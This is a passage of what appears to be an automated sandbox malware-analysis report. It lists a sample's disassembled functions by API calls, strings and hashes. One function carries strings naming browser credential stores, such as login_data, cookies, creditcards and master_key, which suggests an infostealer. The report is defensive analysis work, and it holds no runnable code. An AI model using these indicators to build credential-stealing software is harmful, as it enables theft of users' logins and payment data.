LoadResource.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00423041

Part of subcall function 004247EA: UnhookWindowsHookEx.USER32(?), ref: 0042480F

LockResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 00423053
GetDesktopWindow.USER32 ref: 00423080
IsWindowEnabled.USER32(00000000), ref: 0042308E
EnableWindow.USER32(00000000,00000000), ref: 0042309D
EnableWindow.USER32(00000000,00000001), ref: 0042312C
GetActiveWindow.USER32 ref: 00423137
SetActiveWindow.USER32(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 00423145
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 00423161

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Window$Resource$ActiveEnable$DesktopEnabledFindFreeHookLoadLockUnhookWindows
String ID:
API String ID: 3362358738-0
Opcode ID: 23e7f65befa7440df8e79eeea8a432c85f5a5959caccd24c17b927ce82f2994f
Instruction ID: 44036482665cc7e11abf287e92ecc354a93a460278f6ee91648675104effe8f1
Opcode Fuzzy Hash: 23e7f65befa7440df8e79eeea8a432c85f5a5959caccd24c17b927ce82f2994f
Instruction Fuzzy Hash: F241A531700625DBCB21AFA5E94977FBBB4EF44716F90003FE501A22A1C7BC5E45CA69

Uniqueness

Uniqueness Score: -1.00%

Function 0042565D Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetPropA.USER32(?,AfxOldWndProc423), ref: 0042567A
CallWindowProcA.USER32(?,?,00000110,?,00000000), ref: 004256D8

Part of subcall function 00424C8B: GetWindowRect.USER32(?,00424DAD), ref: 00424CB0
Part of subcall function 00424C8B: GetWindow.USER32(?,00000004), ref: 00424CCD

SetWindowLongA.USER32(?,000000FC,?), ref: 00425708
RemovePropA.USER32(?,AfxOldWndProc423), ref: 00425710
GlobalFindAtomA.KERNEL32(AfxOldWndProc423), ref: 00425717
GlobalDeleteAtom.KERNEL32(00000000), ref: 0042571E

Part of subcall function 00423DB0: GetWindowRect.USER32(?,?), ref: 00423DBC

CallWindowProcA.USER32(?,?,?,?,00000000), ref: 00425772

Strings

AfxOldWndProc423, xrefs: 00425673, 00425678, 0042570E, 00425716

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Window$AtomCallGlobalProcPropRect$DeleteFindLongRemove
String ID: AfxOldWndProc423
API String ID: 3892049428-1060338832
Opcode ID: 10d2a5aec3b997577270dab6d298fc0b9cd5d1bcd177ddbbb5c5fac6d3cc76f4
Instruction ID: c58938d15ef85ceb471def29655ae59a85cb9400ae0611950666c80f8e2187a5
Opcode Fuzzy Hash: 10d2a5aec3b997577270dab6d298fc0b9cd5d1bcd177ddbbb5c5fac6d3cc76f4
Instruction Fuzzy Hash: E1318332A0012AEBCB11AFA5ED49DBF7B78FF89310F80012AF511A2150D7789911DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00427B2C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetStockObject.GDI32(00000011), ref: 00427B53
GetStockObject.GDI32(0000000D), ref: 00427B5B
GetObjectA.GDI32(00000000,0000003C,?), ref: 00427B68
GetDC.USER32(00000000), ref: 00427B77
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00427B8B
MulDiv.KERNEL32(00000000,00000048,00000000), ref: 00427B97
ReleaseDC.USER32(00000000,00000000), ref: 00427BA2

Strings

System, xrefs: 00427B4E, 00427BB8

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Object$Stock$CapsDeviceRelease
String ID: System
API String ID: 46613423-3470857405
Opcode ID: 3618959336a5d2387a8584dc03d5aa96b6a4e2ba3ebebbc47e731d6b0f56e9d2
Instruction ID: 7761e190ee946e44623cd7a4fdd5fc82f47dd554012855bd1365dda4637adce3
Opcode Fuzzy Hash: 3618959336a5d2387a8584dc03d5aa96b6a4e2ba3ebebbc47e731d6b0f56e9d2
Instruction Fuzzy Hash: F5115471B00218EBDB10EBA0ED45F9E3B74EF14745F904035F605AA190D7B4AD46CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00423CB8 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(COMCTL32.DLL,00008000,00000000,00000400,00424635,?,00040000), ref: 00423CC1
LoadLibraryA.KERNEL32(COMCTL32.DLL), ref: 00423CCA
GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 00423CDE
#17.COMCTL32 ref: 00423CF9
#17.COMCTL32 ref: 00423D15
FreeLibrary.KERNEL32(00000000), ref: 00423D22

Strings

InitCommonControlsEx, xrefs: 00423CD6
COMCTL32.DLL, xrefs: 00423CBB, 00423CC0, 00423CC7

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Library$AddressFreeHandleLoadModuleProc
String ID: COMCTL32.DLL$InitCommonControlsEx
API String ID: 1437655972-4218389149
Opcode ID: bf34ed095592dcafb683c73bd76fb3753a0aa3a0d8d12ebda3a1314fc7045279
Instruction ID: d616edb962f15808b37bc422b71edd0b26b380362643589d42d25bf3a016dfe7
Opcode Fuzzy Hash: bf34ed095592dcafb683c73bd76fb3753a0aa3a0d8d12ebda3a1314fc7045279
Instruction Fuzzy Hash: 72F0F936B143229797219FE0BC4891BB6B8AF95722B814436F801E3211CF2CCD0B467D

Uniqueness

Uniqueness Score: -1.00%

Function 0257F106 Relevance: 13.9, APIs: 7, Strings: 2, Instructions: 397memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 025CFEC0: HeapFree.KERNEL32(00000000,?), ref: 025D0037
Part of subcall function 025CFEC0: HeapFree.KERNEL32(00000000,?), ref: 025D004C

HeapFree.KERNEL32(00000000,?), ref: 0257F462
HeapFree.KERNEL32(00000000,?), ref: 0257F481

Strings

a Display implementation returned an error unexpectedly, xrefs: 0257F6F1
, xrefs: 0257F608

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap
String ID: $a Display implementation returned an error unexpectedly
API String ID: 3298025750-229198390
Opcode ID: 1327cc83d4e738f8f7a85ccf93ec401d5d934260b18960a868c905cd48b0847c
Instruction ID: afe080cc0331431099df4263edd47217921ea2f068dddd5eee3441c444d60305
Opcode Fuzzy Hash: 1327cc83d4e738f8f7a85ccf93ec401d5d934260b18960a868c905cd48b0847c
Instruction Fuzzy Hash: 96F19F71A08341AFDB64DF24D884B6FBBE2BFC4304F14482DF98997691EB319905CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0257C31D Relevance: 13.8, APIs: 4, Strings: 5, Instructions: 294memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 025D04D0: TlsGetValue.KERNEL32(00000000), ref: 025D04E9
Part of subcall function 025D04D0: TlsGetValue.KERNEL32(00000000), ref: 025D0510
Part of subcall function 025D04D0: TlsSetValue.KERNEL32(00000000,00000000), ref: 025D055E
Part of subcall function 025D04D0: BCryptGenRandom.BCRYPT(00000000,?,00000010,00000002), ref: 025D0574

HeapFree.KERNEL32(00000000,?), ref: 0257C4B0
HeapFree.KERNEL32(00000000,?), ref: 0257C64B
HeapFree.KERNEL32(00000000,?), ref: 0257C6DF
HeapFree.KERNEL32(00000000,?), ref: 0257C71B

Strings

nametitlebodystruct RecvSfilemaster_keyprofileslocal_statelogin_datacookieshistorycreditcardslocalstate_cachelogins_master_keyextensionsFailed building the Runtime, xrefs: 0257C3A0
APPDATA, xrefs: 0257C521
Invalid, xrefs: 0257C6C0
path*fatal runtime error: I/O error: operation failed to complete synchronously, xrefs: 0257C3CD
cannot access a Thread Local Storage value during or after destruction/rustc/25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04\library\std\src\thread\local.rs, xrefs: 0257C744

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$Value$CryptRandom
String ID: APPDATA$Invalid$cannot access a Thread Local Storage value during or after destruction/rustc/25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04\library\std\src\thread\local.rs$nametitlebodystruct RecvSfilemaster_keyprofileslocal_statelogin_datacookieshistorycreditcardslocalstate_cachelogins_master_keyextensionsFailed building the Runtime$path*fatal runtime error: I/O error: operation failed to complete synchronously
API String ID: 740635937-1962946080
Opcode ID: 737438f561b1a1119f6bac2308a44188733521f42586dea12bc7b942a5c6ba83
Instruction ID: 77a94ffe1a39eb722e1642e7414f4767b0124cbbd1bf8293c8fa52d0bbdb8906
Opcode Fuzzy Hash: 737438f561b1a1119f6bac2308a44188733521f42586dea12bc7b942a5c6ba83
Instruction Fuzzy Hash: 4AC16B71A083419FD724DF29D880B5BBBE2BFC8314F04892EE99997350EB71D945CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00420A21 Relevance: 13.8, APIs: 9, Instructions: 293COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(00000000,00000000,0043A9D4,00000001,0043A9D4,00000001,0043B4A8,00000040,00420655,?,00000001,?,00000000,?,00000000,?), ref: 00420A50
GetLastError.KERNEL32(?,0041FB6C,00000000,00000000,00000000,00000000,00000000,?,0041DD55,00000007,?,?,00000000,00000006,00000006), ref: 00420A62
GetCPInfo.KERNEL32(00000000,0041509C,0043B4A8,00000040,00420655,?,00000001,?,00000000,?,00000000,?,?,0041FB6C,00000000,00000000), ref: 00420B0C
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000004,00000000,00000000,?,0041FB6C,00000000,00000000,00000000,00000000,00000000,?,0041DD55,00000007), ref: 00420B9A
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000004,00000064,00000000,?,0041FB6C,00000000,00000000,00000000,00000000,00000000,?,0041DD55,00000007), ref: 00420C13
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,004151C7,00000000,00000000,?,0041FB6C,00000000,00000000,00000000,00000000,00000000,?,0041DD55,00000007), ref: 00420C30
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,004151C7,?,00000000,?,0041FB6C,00000000,00000000,00000000,00000000,00000000,?,0041DD55,00000007), ref: 00420CA6

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: ByteCharMultiWide$CompareErrorInfoLastString
String ID:
API String ID: 1773772771-0
Opcode ID: edf37570b9a6133125698eafa9279b85b7ab7cef9f5632037470c00f62594779
Instruction ID: 81078ee3ce04f899a7a6ce9267cfb065c325f8bad144afdf8676d079718d4fdb
Opcode Fuzzy Hash: edf37570b9a6133125698eafa9279b85b7ab7cef9f5632037470c00f62594779
Instruction Fuzzy Hash: 33B19C71A00229EBCF21CF95EC81AEF7BF5EF45314FA4012BF810A6262D7799851CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0042D76F Relevance: 13.7, APIs: 9, Instructions: 179memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 0042D780
SysAllocString.OLEAUT32 ref: 0042D7A9
VariantClear.OLEAUT32(?), ref: 0042D8B2
VariantClear.OLEAUT32(?), ref: 0042D8D9

Memory Dump Source

Source File: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: ClearVariant$AllocStringlstrlen
String ID:
API String ID: 3271446295-0
Opcode ID: 6282ef1ab9a2c62f5340b2b8bd7b05e750a85b2b0af811c20b1538a789a0357b
Instruction ID: cdccc334731853226970ff56d724ea0fd08195d0ec7bcfd3a5b41d5743917be6
Opcode Fuzzy Hash: 6282ef1ab9a2c62f5340b2b8bd7b05e750a85b2b0af811c20b1538a789a0357b
Instruction Fuzzy Hash: 90617E71E00219EFCF10EFA4DC85AEEBBB5BF04300F94452AF555A7250D7789985CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00422DEF Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 172COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000002A), ref: 00422EB8
GlobalLock.KERNEL32(00000000,?,?,?,?), ref: 00422F23
CreateDialogIndirectParamA.USER32(?,?,?,Function_0002288B,00000000), ref: 00422F52

Strings

MS Shell Dlg, xrefs: 00422EC2

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: CreateDialogGlobalIndirectLockMetricsParamSystem
String ID: MS Shell Dlg
API String ID: 3758755205-76309092
Opcode ID: 152948b375090ba3bf973604bc07184c04cab0d5ef470bd3cd5d12d947ef66b1
Instruction ID: ca2fc6de147dc94a796e69e52f3573e941c4428df88ff4a11067891bc5981fc6
Opcode Fuzzy Hash: 152948b375090ba3bf973604bc07184c04cab0d5ef470bd3cd5d12d947ef66b1
Instruction Fuzzy Hash: CE51F131B00225EFCB11EF64EA459EEBBB0EF44314F95066AF801E7251D7B88940DB99

Uniqueness

Uniqueness Score: -1.00%

Function 0041A758 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 116fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,00000000,00000000), ref: 0041A7D1
GetStdHandle.KERNEL32(000000F4,0043A928,00000000,?,00000000,00000000,00000000,00000000), ref: 0041A8AC
WriteFile.KERNEL32(00000000), ref: 0041A8B3

Strings

Microsoft Visual C++ Runtime Library, xrefs: 0041A884
<program name unknown>, xrefs: 0041A7E1
..., xrefs: 0041A822
Runtime Error!Program: , xrefs: 0041A856

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3784150691-4022980321
Opcode ID: 5eb8b9adc66271577908d0f2b30b26b3f93ca16067fc2b3402f50ca97e530117
Instruction ID: 873bd3f0479595d816e6d3d2c3c66433944047767b5fc083997a35eeea225ff6
Opcode Fuzzy Hash: 5eb8b9adc66271577908d0f2b30b26b3f93ca16067fc2b3402f50ca97e530117
Instruction Fuzzy Hash: 51314572540204ABD720EB70CC82FEA33B89F4A314F11492BF566E2182DA3CE9D1CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041C8D8 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 98COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,00000000,00000104,0043B1D8,00000118,004177DE,00000001,00000000,0043A508,00000008,0041A8CA,00000000,00000000,00000000), ref: 0041C956

Strings

Unknown security failure detected!, xrefs: 0041C922
Buffer overrun detected!, xrefs: 0041C935, 0041C9D2
Microsoft Visual C++ Runtime Library, xrefs: 0041CA0C
Program: , xrefs: 0041C9E5
<program name unknown>, xrefs: 0041C960
..., xrefs: 0041C9A9

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: FileModuleName
String ID: ...$<program name unknown>$Buffer overrun detected!$Microsoft Visual C++ Runtime Library$Program: $Unknown security failure detected!
API String ID: 514040917-1673886896
Opcode ID: afbd14b618276193030e3c0af5201b55a9026821446303c7d5f8591930f4bbdf
Instruction ID: f9b76a29898f58c7373b8753ea105286733a2ff1b2e8d5243023788ac5f4ec33
Opcode Fuzzy Hash: afbd14b618276193030e3c0af5201b55a9026821446303c7d5f8591930f4bbdf
Instruction Fuzzy Hash: CA31B7719412186BCB11EB61CC82FDE37789F09368F11415FF118B6182DB7CDA918BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0042BE69 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 94stringCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 0042BEA5
PathFindExtensionA.SHLWAPI(?), ref: 0042BEB2

Part of subcall function 0042BE3A: PathFindFileNameA.SHLWAPI(?,00427185,?,?,?), ref: 0042BE3E
Part of subcall function 0042BE3A: lstrlenA.KERNEL32(00000000), ref: 0042BE4C

lstrcpyA.KERNEL32(?,.HLP,?,?,00000104), ref: 0042BF3D
lstrcatA.KERNEL32(?,.INI,?,?,00000104), ref: 0042BF6A

Strings

.HLP, xrefs: 0042BF35
.INI, xrefs: 0042BF5E
.CHM, xrefs: 0042BF2E

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: FileFindNamePath$ExtensionModulelstrcatlstrcpylstrlen
String ID: .CHM$.HLP$.INI
API String ID: 3409542269-4017452060
Opcode ID: 5208ab65a18fcb4c340f3c54e1a250997058e9b9430b917999dc72298521812a
Instruction ID: f23bd32b8940e093c85a1fee808d6a361bb9d4e487b19eb4f682e07407b9da65
Opcode Fuzzy Hash: 5208ab65a18fcb4c340f3c54e1a250997058e9b9430b917999dc72298521812a
Instruction Fuzzy Hash: 76314D71A447289FCB21DB65ED44ADAB7F8FB18304F9048ABE586D7240D7B8E980CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0042D5D5 Relevance: 12.2, APIs: 8, Instructions: 245stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,?,?), ref: 0042D614

Memory Dump Source

Source File: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: lstrlen
String ID:
API String ID: 1659193697-0
Opcode ID: ac1b358337dca50b234fc3dc3a64ea0e40d9c39c4fce7a5d9b49bc41b1c3f848
Instruction ID: 47f9f9a9bf0d79d52291fec9dc3460f5edb29a58d4097f6a8864e100f0027ea6
Opcode Fuzzy Hash: ac1b358337dca50b234fc3dc3a64ea0e40d9c39c4fce7a5d9b49bc41b1c3f848
Instruction Fuzzy Hash: 2191A371E00219DFDF20EFA4D844BEEBBB4FF04314F94452AE551A7290D7789946CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0258562F Relevance: 12.2, APIs: 7, Strings: 1, Instructions: 174memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000), ref: 025858DF
HeapFree.KERNEL32(00000000,?), ref: 02585969
